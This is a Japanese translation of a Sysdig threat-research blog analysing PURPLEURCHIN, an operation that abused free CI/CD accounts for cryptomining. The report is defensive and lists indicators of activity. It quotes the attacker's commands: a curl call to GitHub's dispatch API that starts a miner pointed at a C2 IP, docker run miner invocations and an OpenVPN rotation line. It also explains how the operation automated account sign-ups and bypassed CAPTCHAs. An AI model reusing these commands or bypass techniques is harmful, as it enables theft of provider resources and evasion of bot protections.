本文の内容は、2022年10月25日にCrystal Morinが投稿したブログ(https://sysdig.com/blog/massive-cryptomining-operation-github-actions/)を元に日本語に翻訳・再構成した内容となっております。
最近、Sysdig 脅威リサーチチーム(Sysdig TRT)は、脅威アクターが GitHub、Heroku、Buddy.works などの各業界最大のクラウドおよび継続的インティグレーション / 継続的デリバリー(CI/CD)サービスプロバイダーを使用して、大規模なクラウド運用を構築、実行、拡張、運営し、大規模かつ巧妙なアクティブクリプトマイニング活動を実行している事を明らかにしました。この活動やその技術についてはまだ誰も報告していないため、この活動群を PURPLEURCHINと呼ぶことにします。
このオペレーションは非常に難解で、複数のレベルで自動化を採用しており、130以上のDocker Hubイメージと、様々なプラットフォーム上でCI/CDアカウントを定期的にローテーションしています。
観察された活動は、CI/CDプラットフォームの無料トライアルアカウントに割り当てられたコンピュートリソースの悪用である ”フリージャッキング” として知られています。無料リソースを悪用すること自体は目新しいことではなく、以前から報告されていることです。実際に多くのCI/CDプロバイダーが無料トライアルに対する取り組みを変更する原因と なりました。プロバイダーは、CAPTCHAなどの技術を使ってアカウント作成に手間をかけさせたり、有効なクレジットカードの登録を義務付けたりして、この不正行為を防ごうとしています。この記事で詳しく説明している操作は、これらの防御策をいくつも回避し、自動化技術についてますます洗練されていることを物語っています。
これは、大規模に自動化されたクーポン詐欺のクラウド版だと考えてください。無料のコンピューティング・パワーがクーポンで、暗号通貨が購入対象品目です。
SysdigのTRTは、30以上のGitHubアカウント、2,000以上のHerokuアカウント、900以上のBuddyアカウントを発見しました。この脅威者は、同時に複数のプラットフォームをターゲットにしており、常に新しいものを探しているように見えます。
動機と影響
この作戦の最も可能性の高い動機は、もちろん金銭です。PURPLEURCHINの取り組みの最終結果は、できるだけ多くの環境で、できるだけハンズオフでクリプトマイナーを実行することかもしれません。無料アカウントを利用することで、クリプトマイナーの運用コストをサービス提供者に転嫁しています。しかし、多くの不正利用事例と同様に、無料アカウントの乱用は他者に影響を与える可能性があります。プロバイダーの経費が増えれば、正規のお客様の価格も上がることになります。
Sysdig TRTは、PURPLEURCHINが作成する無料のGitHubアカウントごとに、Githubが毎月15ドルの費用を負担していると見積もっています。このレポートで取り上げた他のサービス・プロバイダーの無料ティア・アカウントは、プロバイダーが月々7ドルから10ドルかかることもあります。このレートで計算すると、脅威アクターが1つのMonero(XMR)を採掘するために、プロバイダーは10万ドル以上のコストを負担することになります。
クラウドといえども資源には限りがあります。不正な活動が広まることで、プロバイダーの有料会員であるお客様にもパフォーマンスの低下をもたらす可能性があるのです。
このクリプトマイニングの規模は、より大きな金銭的動機によってもたらされている可能性があります。現在、PURPLEURCHINは、利益率の低い暗号通貨を採掘しています。このオペレーションは、PURPLEURCHINがMoneroやBitcoinのような、法執行機関やセキュリティ企業がより注意深く見ている、より価値の高いコインに移る前のローリスク・ローリターンのテストである可能性があります。
また、PURPLEURCHINが基礎となるブロックチェーンを攻撃する準備をしている可能性もあります。プルーフ・オブ・ワークのアルゴリズムは、攻撃者がネットワークのハッシュレートの51%を支配することで、「ネットワーク全体」を支配する「51%攻撃」に対して脆弱ですが、いくつかの注意点があります。このような規模のオペレーションを行う場合、PURPLEURCHINは、暗号通貨の検証メカニズムの51%の大部分をコントロールできる可能性があり、攻撃者がコントロールする暗号通貨ウォレットのいずれかに関連する任意のトランザクションを検証することが可能になります。任意の取引を検証する能力により、当該通貨の時価総額にもよりますが、数百万ドル相当の暗号通貨を盗むことができる可能性があります。
最後になりましたが、この大規模な作戦は、他の不正な活動のためのおとりである可能性があります。2020年、APT32(Bismuth、OceanLotus)は、同時多発的なサイバースパイ活動の持続と検知回避のために、被害者ネットワーク上でクリプトマイニング活動を展開しました。
概要
当初、Sysdigのコンテナ分析エンジンは、Dockerイメージ linux88884474/linuxapp8474444474 に関連する不審な挙動をキャプチャーしていました。ユーザー名とイメージ名が少しわかりにくいので、私たちは掘り下げてみることにしました。これまでに判明したことを、本レポートでご紹介します。
PURPLEURCHINがここに投じた努力は異常であり、ここで共有するものの内容を超えて、サービスプロバイダーやオープンソースツールのリストは広範囲に及びます。私たちは、情報収集と分析を通じて一貫して現れたものに焦点を当てています。
PURPLEURCHINオペレーションにおけるハイレベルの概要
Docker Hubのイメージは、一括して更新されているようです。130以上のイメージのうち、一度に更新を受けるのは2~6イメージのみで、その大半は2022年4月にアカウントが作成されて以来、更新されていないことが確認されています。
この一括更新の方法は、Docker Hubが彼らの活動をブロックしたりスキャンしたりするのを防ぐためかもしれません。
GitHubのリポジトリは1~2日以内に作成され、利用されています。各リポジトリには、Dockerイメージを実行するためのGitHub Actionが用意されています。また、Actionを生成していたリポジトリのいくつかが消えているのを目撃しました。
これは、GitHubが悪意のあるアカウントを削除したか、あるいはアクターが無料アカウントの制限に達したためアカウントを削除したかのどちらかだと思われます。
例えばGitHubは、1ヶ月あたり2,000分のGitHub Actionを無料で提供しています。これは、PURPLEURCHINが作成した1つのアカウントあたり、約33時間の実行時間に相当します。
GitHubアカウント無料ティア制限 前述のCI/CDサービスプロバイダーのコスト見積もりを行うため、プラットフォームの価格モデルを検討し、ビルド時間や同時実行ジョブ数などの詳細について無料ティアの制限と有料サービスの制限を比較しました。無料アカウントは機能が制限されており、2 コアと 8GB の RAM という低スペックであるため、PURPLEURCHIN が 137 ドルを稼ぐには、数千の無料アカウントを使用する必要があると推定されました。
ユーザーが同じ計算を行うために最も安いUbuntu CIランナーに支払うコストを仮定すると、これはGitHubのリソースの約103,000ドルを使用することになります。
PURPLEURCHINは、対象となるCI/CDサービスプロバイダーごとに異なるコインを使用していると考えられますが、Stratumリレーは、異なるすべてのコインとウォレットに対して、常に実行されています。
技術的な詳細
PURPLEURCHINの全活動に深く入り込み、大規模な自動クリプトマイニングという目標を達成するために彼らが使っているテクニックをここで紹介します。
PURPLEURCHINの詳細なオペレーションダイアグラム
コマンド&コントロールコンテナ
linuxapp847444744474という名前のlinuxappコンテナは、コマンド&コントロールコンテナとして機能します。また、Stratum Relayサーバーでもあり、すべてのアクティブなマイニングエージェントからの接続を受信します。下のスクリプトにあるように、オープンソースのstratum proxyソフトウェア「No Dev-Fee Stratum Proxy」を実行し、他のプロキシが課す手数料を回避しています。
stratumリレーサーバーはNodeJSによって起動され、それぞれ異なるポートでリッスンします:12000、14000、24000、32000、34000の各ポートでリッスンします。その後、さらにそのサービスを開始します。
GitHub アクションを悪用する cryptomining cat c2c
GitHubアクションの作成
シェルスクリプトuserlinux8888は、脅威アクターの各リポジトリにgithub-actions.ymlワークフローを作成する役割を担っています。これは、ランダムな文字列で名前を付けることによって、Actionを難読化することを試みます。
共通のテンプレートを利用しますが、新たに生成されたランダムな名前に置き換えます。
Userlinux8888ワークフローファイルを各リポジトリにプッシュするために、このスクリプトは GitHub のコマンドラインユーティリティで使う SSH キーを追加し、GitHub リポジトリを作成します。そして、先に作成した GitHub ワークフローを新しいリポジトリの master ブランチにプッシュし、GitHub リポジトリとベアラートークンを記録して後で使えるようにします。
不正使用 GitHub Actions cryptomining ssh キーを追加する
下の図は、この自動化されたワークフローの結果です。GitHub のアカウントとリポジトリが作成され、多くの GitHub Actions が実行されてマイニング作業が行われました。マイニングが実行される時間の長さは、現在のところ未知の要因によって変化する可能性がありますが、頻繁に成功するようです。
GitHub Actionの実行
linuxwebapp88というスクリプトは、この部分の操作で本当にマイニングを行う前述のGitHub Actionsをトリガーする役割を担っています。PURPLEURCHINのGitHubアカウントはすべて、リクエストの認証を可能にするベアラートークンとともに、ローカルファイルに保存されています。
user88888以下に示す linuxwebapp88 スクリプトのスニペットは、リストを繰り返し、curl を使って各リポジトリの Action にあらかじめ作られた Docker コマンドと stratum リレーサーバーの IP アドレスやその他の設定情報を渡します。GitHub側では、Dockerコマンドを受け取ってそれを実行し、Minerコンテナを起動します。
curl --request POST --url "https://api.github.com/repos/$linuxweb8888/dispatches" --header "authorization: Bearer $linuxweb88888874" --data "{\"event_type\": \"hello\", \"client_payload\": {\"web1\": \"docker run -d linux88884474/webappweblinux88 /bin/bash /linux88 5.199.170.64 24000 webappapp8888 2048 32\"}}" &> /dev/null &
マイニングコンテナ
最初に観測したPURPLEURCHIN Docker Hubイメージを実行すると、HTTP経由で複数のリポジトリにGitHub Actionが発生しました。これらのGitHubリポジトリには、アクターのDocker Hubアカウントから異なるコンテナを実行するためにDockerを使用するワークフローアクションのみが含まれています。
先に紹介したGitHub Actionsは、様々なDockerイメージの30以上のインスタンス(Actionの実行ごとに)を起動するために使用されました。その一例として、次のようなコマンドラインがあります。
docker run -d linux88884474/webappweblinux88 /bin/bash /linux88 <proxy_ip> 24000 webappapp8888 2048 32
/bin/bash に続く引数は次のとおりです:
- 実行するスクリプト
- Proxy IP
- 接続するProxyポート
- Stratum Proxyに接続する際に使用する、この特定のマイナーのインスタンスの名前
- 使用する/dev/shmメモリの量(メガバイト単位)
- CPUアーキテクチャーで使用するビット数
このスクリプトは、最終的にnodejsファイルindex.jsを呼び出し、Tidecoinマイナーを起動させます。このマイナーはyespowerと呼ばれるCPUベースのマイニングアルゴリズムを使用します。クリプトジャッカーは通常、MoneroにおけるCPUマイナーのデファクトであるXMRigをGitHubから直接ダウンロードして使用しますが、PURPLEURCHINはnodejsを介して呼び出されるCPUマイナーを選択しているため、これは注目すべき点です。この調査を行う中で、「なぜこのコインなのか」という疑問が生まれました。コインの価値が非常に低いため、その採掘は規模が大きくてもほとんど利益を生まないように思われました。私たちの仮説では、脅威者はYespowerアルゴリズムに基づいてこれらのコインを選択し、マイニングプロセスを当該nodejsの親から生成することで、検出を回避しているのではないかと考えています。
Tidecoinは、PURPLEURCHINが現在採掘しているいくつかの暗号通貨の1つに過ぎません。他には、Onyx、Surgarchain、Sprint、Yenten、Arionum、MintMe、Bitwebなどがあります。このアクターがさまざまなコインを実験していることは、中々の自信をもって言えるでしょう。
最後に、PURPLEURCHINは独自のStratumマイニングプロトコルリレーを使用しており、公に知られているマイニングプールへのアウトバウンド接続を探すネットワークベースの検出を回避するのに役立っています。このリレーは、各マイナーが単にリレーに接続して作業を依頼し、リレーがウォレットと支払いを上流で追跡するため、この不正なスキームで使用される暗号ウォレットのアドレスが不明瞭になるという利点もあります。
2022年版脅威レポートでは、TeamTNTがXMRig-proxyを使用して同様のことを行っていることを詳しく紹介しています。
アカウント登録コンテナ
Dockerコンテナであるvnc8474447444748888882は、最終的にマイナーのオペレーションを開始するために使用するアカウントを作成する役割を担っています。このコンテナが特に魅力的なのは、アカウントを作成するためにいくつかの技術を活用し、アカウントの自動作成を防止するはずのボット防御を回避している点です。
このコンテナは、いくつかのツールやメソッドを使用してこれを行います。
OpenVPN
アカウントを自動的に作成する際の最初の問題の1つは、ソースIPアドレスが各アカウントで異なることを確認することです。多くのサイトでは、大量のアカウントを作成することを困難にするために、レート制限とIPベースのヒューリスティックを使用しています。
PURPLEURCHINは、Namecheap VPNネットワークとともに、人気のあるOpenVPNソフトウェアパッケージを使用しています。VPN設定ファイルは、VPNサーバーのベンチからランダムに選ばれ、それらに接続するために必要な認証情報とともに提供されます。
openvpn --config "/ovpn/$(ls /ovpn/ | shuf -n1)" --auth-user-pass '/ovpnuser/username84744474' —daemon
下のスクリーンショットでは、Namecheapから利用可能なオプションを構成するVPN設定の大きなリストを見ることができます。PURPLEURCHINは世界中にある多数のネットワークを使用しているため、それらの関連付けが困難になっています。
XDOTOOL
ほとんどのサービスプロバイダーは、アカウントを作成するためのAPIベースの方法を提供していません。その代わりに、ユーザーは自分たちのウェブサイトからそれを行うことを期待されています。サービスプロバイダーは、ユーザーがAPIエンドポイントを叩くだけでなく、実際のブラウザから来ることを確認するために、多くの方法を使用しています。
PURPLEURCHINは、Braveのウェブブラウザを利用して登録を行うことで、これらの防御策をすべて回避することに成功しています。自動化するために、彼らはXDOTOOLを使用して、マウスとキーボードの入力をプログラム的にブラウザに送信しています。
Wit
PURPLEUCHINがボット保護機構を回避するために使用するもう1つの方法は、.wavオーディオファイルの音声認識用のWitと呼ばれるPythonパッケージです。
多くのCAPTCHAシステムでは、解決できるようにするために音声オプションを提供しています。
また、以下のようにHerokuのログにいくつかのGoogle recaptchaの音声ファイルのURLがあることを確認しました。しかし、これらのログは数ヶ月前にさかのぼります。最新の実行パイプラインではオーディオキャプチャーをバイパスする証拠は見つかりませんでしたが、これはPURPLEURCHINがオーディオキャプチャーをバイパスする能力があることを示すものです。
Buster
脅威アクターがインストールしたブラウザ拡張機能を詳しく調べたところ、「Buster: Captcha Solver for Humans」という名前の拡張機能が見つかりました。 このツールは、アカウント作成中の PURPLEURCHIN の自動キャプチャー解決も促進する可能性があります。
ログには、octocaptchaとfuncaptchaがバイパスされていることが示されていました。以下に示すように、PURPLEURCHINはバージョン1.3.1を使用していました。
このアカウント登録コンテナで最後のスクリプトが実行されると、スクリプトの実行結果が特定のポートでリッスンしているC2コンテナに送信されます。C2はその結果をファイルに保存する。GitHubの場合、出力されるのはGitHub Actionsのトリガーとなるユーザーとトークンです。
IMAP Container
imap84744474 と名付けられたこのコンテナには、メールを受信するための IMAP サーバーとメールを送信するための Postfix サーバーが含まれています。このコンテナが実行されると、アクターズプールからドメイン名が付与されます。
新しいアカウントを登録する際、アカウントの作成と確認メールを受信するために使用されます。この情報に基づいて他のスクリプトが実行され、自動登録が継続できるようになります。
ダッシュボードコンテナ
このコンテナは web847444744474 として識別され、最新バージョンの C2 イメージによってこのスクリプトで起動されます:
docker run -it --shm-size=12000m -d -p 42880:42880 linux88884474/web84744474447444744474 /bin/bash /linux84744474
Index.phpは、通常のデフォルトのウェブページで、ログインと登録機能を持つダッシュボードを管理します。また、PURPLEURCHINがコマンド&コントロールコンテナのデプロイを開始できるようにします。これは、BitBucket リポジトリからシェルスクリプトをダウンロードして実行します。スクリプトファイルは、入力で特定されたパラメータで実行され、PURPLEURCHIN のプライベートレジストリから取得した新しい linuxapp コンテナの実行を開始します。
これらのスクリプトは、212.90.120.130:5000にあるプライベートレジストリからイメージも取得しています。この解析の時点ではオフラインでした。
マイニングダッシュボードコンテナの残りの部分は主に、ポート42880でリッスンするApache Webサーバー、MySQLデータベース、および多数のPHPスクリプトで構成されています。これらの目的は、PURPLEURCHINのダッシュボードとして機能することです。彼らはログインして、接続されているすべてのワーカーの現在のステータスを見たり、ウォレットから財務情報を取得したりすることができます。
Paid84744474.php は、さまざまな cryptocurrency explorer API エンドポイントにアクセスし、ウォレットとアクティブなワーカーに関連するコンテンツを取得します。データに対して計算を実行し、後で表示するために情報をデータベースに格納します。ここと他のPHPスクリプトのコードの多くは、どれだけのお金が作られているかをアクターに理解させるためのものです。
このダッシュボードコンテナには、PURPLEURCHINのCircleCIとBitBucketのSemaphore用のスクリプトも含まれています。CircleCIの設定スクリプトは、CircleCIのビルドで、コンテナのwebappapp/webを/bin/bash/webの引数で実行するように指示しています。また、CircleCIスクリプトと一緒にSalesforceアカウントとFly.ioアカウントが確認され、これらのプラットフォームがすべて互いに統合されていることを示していると思われますが、今回の分析ではSalesforceの使用に関する他の兆候は確認されませんでした。
Semaphoreスクリプトは、同じコンテナイメージのlinux8884474/webappweblinux88のインスタンスを25個生成し、以下のコマンドで実行するという点で、前述のGitHub Actionsの実行と非常によく似ています。
/bin/bash /linux88 stratum-na.rplant.xyz 7017 <BitWeb Wallet> 2048 32
まとめ
現在、PURPLEURCHINが稼働している規模でのフリージャッキングは、プロバイダーにはあまりコストがかからず、脅威アクターにもあまり利益がない可能性があります。しかし、悪用されたアカウント数を数千に拡大することができれば、利益を得ることができます。
この規模になると、お金を稼ぐ脅威アクターの頭の中に効率はなく、これらのアカウントは増えていくため、プロバイダーへのコストも大きくなる可能性があります。PURPLEURCHINは、このような脅威の1つで、できるだけ人手をかけずに大量の無料アカウントを悪用するために、フリージャッキングのオペレーションを積極的に進化させています。
これまでにはなかったことであり、今後もこの活動を追っていくつもりです。
活動の痕跡
これらは、脅威インテリジェンスの世界ではおなじみの伝統的な定義による侵害の痕跡(IOC)です。しかし、ここでは実際に侵害が発生しているわけではないので、代わりに活動の痕跡と呼ぶことができます。
GitHub usernames
Adjustable stand |
Agreeable-stand8888 |
appweb888888 |
appwebdevlab |
appwebweb |
appwebwebweb |
candidaturesweb |
googlemobile888874 |
googlemobile888874888874 |
googlewebapp |
linuxweb8888884474 |
linuxweb888888447488748874 |
linuxweb888888447488748874888874 |
linuxwebappapp88 |
linuxwebappapp88882 |
roundnation |
roundnation8474 |
webapp888844444474 |
webapp88888874 |
webappapp |
webappappappapp8888 |
webapplinux8888 |
webapplinux8888744474 |
webapplinux888888742 |
webapplinux8888887444448874 |
webapplinux88888874888888742 |
webapplinux8888887488888874882 |
webapplinux8888887488888874884488742 |
webapplinux8888887488888874888874 |
webapplinux88888888742 |
webapplinux8888888874882 |
webapplinux88888888748874 |
webapplinux888888887488748888 |
webapplinux88888888748888882 |
webapplinuxapp8888 |
webapplinuxwebweb88 |
weblinux88741 |
weblinux8888 |
weblinux888888 |
weblinuxappappappappapp88 |
weblinuxapplinuxapplinuxapp88 |
weblinuxweb |
Cryptocurrency wallets
Aronium |
2Kp1jXXXXMDNQ |
Sugarchain |
sugarXXXXyrar |
Yenten |
YRweXXXXG1Zj |
MintMe |
0x31XXXXaF34 |
BitWeb |
webXXXX9crh |
Onyx |
oPtVXXXXqggJ |
Onyx |
oKPpXXXXDPgU |
Sprint |
Sc98XXXXHgYi |
Tidecoin |
TFwcXXXXEFWw |
Yenten |
YksWXXXXA8hP |
C2 IPs used
5.199.170.64 |
185.150.117.221 |
188.214.130.21 |
93.115.29.187 |
92.242.62.20 |